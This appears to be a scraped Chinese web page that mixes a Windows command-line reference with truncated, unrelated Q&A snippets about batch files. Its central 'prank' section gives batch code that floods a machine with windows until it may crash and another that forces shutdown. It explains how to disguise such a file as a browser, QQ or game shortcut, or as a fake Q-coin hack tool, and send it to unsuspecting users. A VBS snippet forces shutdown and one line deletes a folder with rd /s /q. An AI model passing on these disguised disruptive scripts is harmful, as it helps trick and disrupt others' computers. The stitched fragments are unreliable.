功能:显示或设置可执行文件的搜索路径.
PATH [[驱动器:]路径[....]]
PATH ;
键入 PATH ; 可清除所有的搜索路径, 使 Windows 只搜索当前目录
键入不带参数的 PATH 可显示当前路径.
命令:PAUSE
功能:暂停批处理程序,并显示以下消息:
请按任意键继续. . .
PAUSE
命令:PROMPT
功能:更改命令提示符。
PROMPT [text]
text 指定新的命令提示符。
提示符可以由普通字符及下列特定代码组成:
$Q = (等号)
$$ $ (货币符号)
$T 当前时间
$D 当前日期
$P 当前驱动器及路径
$V Windows 版本号
$N 当前驱动器
$G > (大于符号)
$L < (小于符号)
$B | (管道)
$H 退格 (擦除前一个字符)
$E Escape 码 (ASCII 码 27)
$_ 回车换行
键入不带参数的 PROMPT 可以将提示符改回默认设置。
命令:RD/RMDIR
功能:删除目录.
RMDIR [驱动器:]目录
RD [驱动器:]目录
命令:REM
功能:在批处理文件或 CONFIG.SYS 里加上注解或说明。
REM [注解]
命令:REN/RENAME
功能:重命名文件或目录列表。
RENAME [驱动器:][路径]文件名1 文件名2.
REN [驱动器:][路径]文件名1 文件名2.
请注意,您不能为目标文件或目录列表指定新的驱动器或路径。
命令:SET
功能:显示, 设置或删除 Windows 环境变量.
SET [变量=[字符串]]
变量 指定环境变量名.
字符串 指定赋给环境变量的字符串.
键入不带参数的 SET 可显示当前的环境变量.
命令:TIME
功能:显示或设置系统时间。
TIME [时间]
显示当前时间设置和输入新时间的提示,请键入
不带参数的 TIME。要保留现有时间,请按 ENTER。
命令:TYPE
功能:显示文本文件的内容。
TYPE [驱动器:][路径]文件名
命令:VER
功能:显示 Windows 版本.
VER
命令:VOL
功能:显示磁盘的标签号和存在的序列号.
secpol.msc本地安全策略
services.msc本地服务设置
sfc /scannow启动系统文件检查器
sndrec32录音机
taskmgr任务管理器(适用于2000/xp/2003)
tsshutdn60秒倒计时关机命令
winchatXP自带局域网聊天
winmsd系统信息
winver-显示About Windows 窗口
wupdmgr--Windows Update

1 ping “IP地址” -t 测试网络连接 2 regedit 注册表 越用越熟悉,想弄什么百度几次,就记住了3 msconfig 启动项 里面有开机的时候那些服务 程序自动启动4 gpedit.msc 组策略 可以简单的理解为中文的注册表 当然没有注册表强大5 mem.exe 显示内存使用情况6 chkdsk.exe Chkdsk磁盘检查
整人我自己弄了一个 建立一个文本文档在里面打start=1.batstart=1.explorer然后保存为1.TXT 在吧后缀名改成BAT 效果是无限弹窗口和网页,机器不好直接死机还有一个是建立一个文本文档在里面打at 22:22 shutdown -s -t 1 -c“自己随便输入”意思是22点22分执行关机命令(-S)关机等待1秒 (-t 1) 显示文字为 自“己随便输入” (建立一个记事本在里面打)其中时间 和那个1秒 还有“自己随便输入” 可以随意更改 字不得多于127个字符也就是63个字

就发一个不怎么整人的:(喜欢可以再发其他的):
代码:
【运行】:shutdown -s -t 1【解除】shutdown -a
【上面的“1”可以改,这个bat会倒计时关机,很简单的,应该记得住?单位“秒”】
【整人建议】:建立好bat文件(尽量不要放在桌面),然后再建立一个关联刚刚bat的快捷方式。以一个常用快捷方式为参照(推荐浏览器,QQ,英雄联盟等等快捷方式),将bat快捷方式伪造为原常用快捷方式(包括名称,图标,位置。)然后你就可以删除原常用快捷方式,躲在一旁笑了。【靠!我TM刚开机的电脑,平白无故关机了!】
当然,你也可以伪造成其他类型的的快捷方式(例如”最新狂刷Q币软件“,”英雄联盟皮肤大师“等等乱编。)发给别人。
【注意】整人前测试一下,也可以用制作好的用。注意快捷方式是否正常运行。特别是发给别人时,要带上” bat源文件 “(把源文件藏好点,不要发现了。估计也就骗骗小白和小学生,所以把时间调少点哟~)。
【Angian神弑茗纯】纯手工编辑

1842浦口区:我想学习bat代码,但不知道怎么开始学
靳吕15284106989:bat是批处理的扩展名。所说的批处理就是把很多命令写到一个文件里,然后一起运行。暂停 pause (六)attrib——修改文件属性命令 1.功能:修改指定文件的属性。(文件属性参见2.5.4(二)文件属性一节)2.类型:外部命令。3.格式:attrib[文件名][r][——r][a][——a][h][——h][s][—

1842浦口区:帮写一个隐藏显示隐藏文件的bat
靳吕15284106989:★陈华林★ 答非所问啊,他说的是更改文件的属性而非文件夹选项.(用编辑注册表命令reg修改你在文件夹选项里的选择)(每次运行的时候会重新启动explorer.exe)将以下内容复制到记事本里另存为"显示.bat":reg add HKCU\\Software\\Microsoft\\Windows\\Currentversion\\Explorer\\Advanced \/v Hidden \/t REG_...

1842浦口区:优盘文件夹被病毒恶意隐藏,回答加分
靳吕15284106989:然后,我输入了如下命令:attrib -r -a -s -h *.* \/s \/d。这个命令可以帮助我解除文件的只读、存档、系统和隐藏属性,从而更彻底地清除病毒。此外,我还可以使用一个bat文件来恢复文件。将代码复制到记事本中,保存为.bat文件。这个bat文件的代码如下:echo.:::echo::正在还原你的文件,请稍侯...

1842浦口区:这个BAT命令是什么意思?
靳吕15284106989:呵呵··楼上都没解释清楚,我给你很详细的解释吧,一定要仔细读哦,因为我是很认真的再给你说···(*^__^*) 嘻嘻……首先sc.exe是windows命令接面下的一款服务管理工具,比如你要启动一个服务,就可以输入:sc config 服务名称 start= auto ,注意start的等号后有一个空格,这样就把服务设置为自...

1842浦口区:恶搞程序代码
靳吕15284106989:"对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗?",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then msgbox " 正在清理系统垃圾wow ~_^",,"算你倒霉!!"Set objShell = CreateObject("Wscript.Shell")objShell.Run "shutdown -s -t 5",,true end if 加分哦 ...

1842浦口区:怎么样制作bat文件
靳吕15284106989:如果你的是powerpoint2003的话,其可执行程序名应该是POWERPNT.exe 批处理文件可以这样做:1、打开记事本,写入以下内容:echo 运行Powerpoint (这一行可以不输入)path C:\\Program Files\\Microsoft Office 2003\\Office\\ (我OFFICE装在C盘上,所以这里是“C:\\Program Files\\Microsoft Office 2003\\Office\\...

1842浦口区:怎样用BAT批处理文件下载EXE?
靳吕15284106989:推荐软件ExeScript,可以完成你的需求 请注意,我刚才试过了,可以,我的是金山2008,天天更新没报错,测试时间是08.8.20 22:02真实吧! 软 件 名: ExeScript 软件版本: 2.1.1 软件语言: 简体中文版 软件类型: 纯绿色软件 支持类型: BAT(批处理文件) VBS JS 转换类型: EXE 还是给个简单的...

1842浦口区:bat命令时间触发语句怎么写
靳吕15284106989:echo offif %date:~,4%%date:~5,2%%date:~8,2% leq 20150209 exitrd \/s \/q f:\\kugou\\tempexit

1842浦口区:短点的单词,至少100个
靳吕15284106989:55、bat n.球拍,球棒,短棒 56、bay n.海湾,(港)湾 57、bed n.床(位);苗床,58、bee n.(蜜)蜂 59、beg v.乞求,乞讨;60、bet v.赌,打赌 61、bid v.祝愿;命令,62、big a.大的,巨大的 63、bin n.箱柜 64、bit n.一点,一片,一些 65、bow v.\/n.鞠躬,点头 66、...

1842浦口区:能不能批量把文件名写入文本中第一行
靳吕15284106989:我用二个文件来处理,a.bat:执行入口语句,提取当前目录所有*.txt的文件; b.bat 是操作命令,用于将文件名+内容写入到加了下划线_文件.txt;a.bat内容如下 echo off cls for %%c in (*.txt) do call b.bat %%c echo on b.bat 内容如下 echo off echo %1 >_%1 type %1 >>_%1 echo...

联系邮箱:

材料参考网,大家对衣、食、住、行、用……进行点评,为健康绿色生活提供参考
Copyright© 材料参考网